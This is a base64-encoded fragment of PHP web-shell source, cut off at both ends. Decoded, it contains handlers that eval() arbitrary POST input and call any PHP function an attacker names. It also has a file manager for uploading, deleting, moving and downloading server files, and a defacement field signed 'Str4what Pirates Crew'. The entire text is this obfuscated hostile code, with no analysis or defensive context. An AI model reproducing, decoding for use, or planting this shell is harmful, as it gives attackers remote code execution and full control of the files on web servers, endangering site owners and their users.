gJy4oQCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgZXZhbCgkX1BPU1RbJ3AxJ10pOw0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOw0KICAgIH0NCiAgICBlY2hvICc8L3ByZT48L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgew0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgew0KICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7DQogICAgICAgICAgICBjYXNlICd1cGxvYWRGaWxlJzoNCiAgICAgICAgICAgICAgICBpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ21rZGlyJzoNCiAgICAgICAgICAgICAgICBpZighQG1rZGlyKCRfUE9TVFsncDInXSkpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6DQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7DQogICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7DQogICAgICAgICAgICAgICAgICAgICRkaCAgPSBvcGVuZGlyKCRwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCAoJGl0ZW0gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGguJGl0ZW07DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0eXBlID09ICJkaXIiKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkaXRlbSk7DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkaXRlbSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgY2xvc2VkaXIoJGRoKTsNCiAgICAgICAgICAgICAgICAgICAgcm1kaXIoJHBhdGgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQ0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IHVybGRlY29kZSgkZik7DQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkZik7DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ3Bhc3RlJzoNCiAgICAgICAgICAgICAgICBpZigkX1NFU1NJT05bJ2FjdCddID09ICdjb3B5Jykgew0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IG9wZW5kaXIoJGMuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGMuJHMsICRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkX1NFU1NJT05bJ2N3ZCddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnbW92ZScpIHsNCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7DQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRjLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgIEByZW5hbWUoJF9TRVNTSU9OWydjd2QnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydmJ10pOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAoKCRfUE9TVFsncDEnXSA9PSAnY29weScpfHwoJF9QT1NUWydwMSddID09ICdtb3ZlJykpICkgew0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpDQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gQCRfUE9TVFsnYyddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICc8c2NyaXB0PmRvY3VtZW50Lm1mLnAxLnZhbHVlPSIiO2RvY3VtZW50Lm1mLnAyLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQogICAgfQ0KICAgICRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQogICAgaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7ICAgIGVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7IHJldHVybjsgICAgfQ0KICAgIGdsb2JhbCAkc29ydDsNCiAgICAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpDQogICAgICAgICAgICAkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOw0KICAgIH0NCiAgICBlY2hvICc8c2NyaXB0Pg0KICAgICAgICBmdW5jdGlvbiBzYSgpIHsNCiAgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KICAgICAgICAgICAgaWYoZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSBcJ2NoZWNrYm94XCcpDQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7DQogICAgICAgIH0NCiAgICAgICAgPC9zY3JpcHQ+DQogICAgICAgIDx0YWJsZSB3aWR0aD1cJzEwMCVcJyBjbGFzcz1cJ21haW5cJyBjZWxsc3BhY2luZz1cJzBcJyBjZWxscGFkZGluZz1cJzJcJz4NCiAgICAgICAgPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD4nOw0KICAgIGVjaG8gIjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3NpemVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOw0KICAgICRkaXJzID0gJGZpbGVzID0gJGxpbmtzID0gYXJyYXkoKTsNCiAgICAkbiA9IGNvdW50KCRkaXJDb250ZW50KTsNCiAgICBmb3IoJGk9MDskaTwkbjskaSsrKSB7DQogICAgICAgICRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOw0KICAgICAgICAkZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsNCiAgICAgICAgJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVudFskaV0sDQogICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwNCiAgICAgICAgICAgICAgICAgICAgICdtb2RpZnknID0+IEBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSksDQogICAgICAgICAgICAgICAgICAgICAncGVybXMnID0+IHZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLA0KICAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwNCiAgICAgICAgICAgICAgICAgICAgICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLA0KICAgICAgICAgICAgICAgICAgICAgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpDQogICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsNCiAgICAgICAgZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQ0KICAgICAgICAgICAgJGxpbmtzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnKSk7DQogICAgICAgIGVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQ0KICAgICAgICAgICAgJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOw0KICAgIH0NCiAgICAkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7DQogICAgZnVuY3Rpb24gY21wKCRhLCAkYikgew0KICAgICAgICBpZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykNCiAgICAgICAgICAgIHJldHVybiBzdHJjbXAoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0sICRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCiAgICB9DQogICAgdXNvcnQoJGZpbGVzLCAiY21wIik7DQogICAgdXNvcnQoJGRpcnMsICJjbXAiKTsNCiAgICB1c29ydCgkbGlua3MsICJjbXAiKTsNCiAgICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGxpbmtzLCAkZmlsZXMpOw0KICAgICRsID0gMDsNCiAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZikgew0KICAgICAgICBlY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT0iZltdIiB2YWx1ZT0iJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJyIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9IicuKCgkZlsndHlwZSddPT0nZmlsZScpPydnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndmlld1wnKSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pOidnKFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyI+PGI+WyAnLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkuJyBdPC9iPicpLic8L2E+PC90ZD48dGQ+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/dmlld1NpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvdGQ+PHRkPicuJGZbJ21vZGlmeSddLic8L3RkPjx0ZD4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJyxcJ2NobW9kXCcpIj4nLiRmWydwZXJtcyddDQogICAgICAgICAgICAuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+PC90cj4nOw0KICAgICAgICAkbCA9ICRsPzA6MTsNCiAgICB9DQogICAgZWNobyAnPHRyPjx0ZCBjb2xzcGFuPTU+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1cJ0ZpbGVzTWFuXCc+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4NCiAgICA8c2VsZWN0IG5hbWU9XCdwMVwnPjxvcHRpb24gdmFsdWU9XCdjb3B5XCc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdtb3ZlXCc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdkZWxldGVcJz5EZWxldGU8L29wdGlvbj4nOw0KICAgIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSYmQGNvdW50KCRfU0VTU0lPTlsnZiddKSl7ZWNobyAnPG9wdGlvbiB2YWx1ZT1cJ3Bhc3RlXCc+UGFzdGU8L29wdGlvbj4nOyB9DQogICAgZWNobyAnPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4+Ij48L3RkPjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0icmlnaHQiIHdpZHRoPSIxIj48aW5wdXQgbmFtZT0iZGVmIiB2YWx1ZT0iU3RyNHdoYXQgUGlyYXRlcyBDcmV3ISEhIiBkaXNhYmxlZD0iZGlzYWJsZWQiLz4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQWRkIERlZmFjZSBIZXJlIiBkaXNhYmxlZD0iZGlzYWJsZWQiPjwvdGQ+PC90cj4NCiAgICA8L2Zvcm0+PC90YWJsZT48L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgew0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0NCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0NCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KICAgIA0KICAgIGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICAgICAgZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsNCiAgICAgICAgJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQogICAgJHN0cmluZ1Rvb2xzID0gYXJyYXkoDQogICAgICAgICdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsDQogICAgICAgICdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsDQogICAgICAgICdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywNCiAgICAgICAgJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLA0KICAgICAgICAnRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsDQogICAgICAgICdtZDUgaGFzaCcgPT4gJ21kNScsDQogICAgICAgICdzaGExIGhhc2gnID0+ICdzaGExJywNCiAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLA0KICAgICAgICAnQ1JDMzInID0+ICdjcmMzMicsDQogICAgICAgICdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLA0KICAgICAgICAnSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywNCiAgICAgICAgJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLA0KICAgICAgICAnSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLA0KICAgICAgICAnREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsDQogICAgICAgICdERUMgdG8gQklOJyA9PiAnZGVjYmluJywNCiAgICAgICAgJ0JJTiB0byBIRVgnID0+ICdiaW4yaGV4JywNCiAgICAgICAgJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLCAgICAgICAgDQogICAgICAgICdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLA0KICAgICAgICAnU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywNCiAgICAgICAgJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywNCiAgICAgICAgJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLA0KICAgICk7DQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCiAgICBlY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsNCiAgICBmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikNCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJz4iLiRrLiI8L29wdGlvbj4iOw0KICAgICAgICBlY2hvICI8L3NlbGVjdD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nLz4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgIi4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4iPiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii5odG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOw0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOw0KICAgIH0NCiAgICBlY2hvIjwvcHJlPjwvZGl2PiI7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsNCiAgICBpZiggaXNzZXQoJF9QT1NUWydwMSddKSApDQogICAgICAgICRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOw0KICAgIGlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsNCiAgICAgICAgaWYoaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MD